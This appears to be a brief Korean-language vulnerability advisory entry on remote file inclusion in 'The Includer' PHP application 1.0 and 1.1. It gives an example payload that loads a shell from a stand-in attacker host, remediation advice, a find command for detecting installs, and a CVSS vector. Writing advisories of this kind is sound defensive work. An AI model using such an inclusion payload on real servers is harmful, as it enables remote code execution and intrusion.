The Includer PHP 애플리케이션 1.0, 1.1 버전
쿼리 매개변수를 통해 원격 PHP 파일 경로를 전달하여 RFI 공격 수행 (예: ?include=http://attacker.com/shell.php)
The Includer를 제거하거나 최신 버전으로 업그레이드, 또는 사용자 입력에 대한 엄격한 화이트리스트 검증 및 allow_url_include 비활성화
명령어가 파일이나 디렉토리를 반환하면 The Includer가 설치되어 있을 수 있으며, 빈 결과면 설치되지 않았을 가능성이 높습니다.
find /var/www /home -name '*includer*' -o -path '*includer*' 2>/dev/null | head -10
AV:N/AC:L/Au:N/C:P/I:P/A:P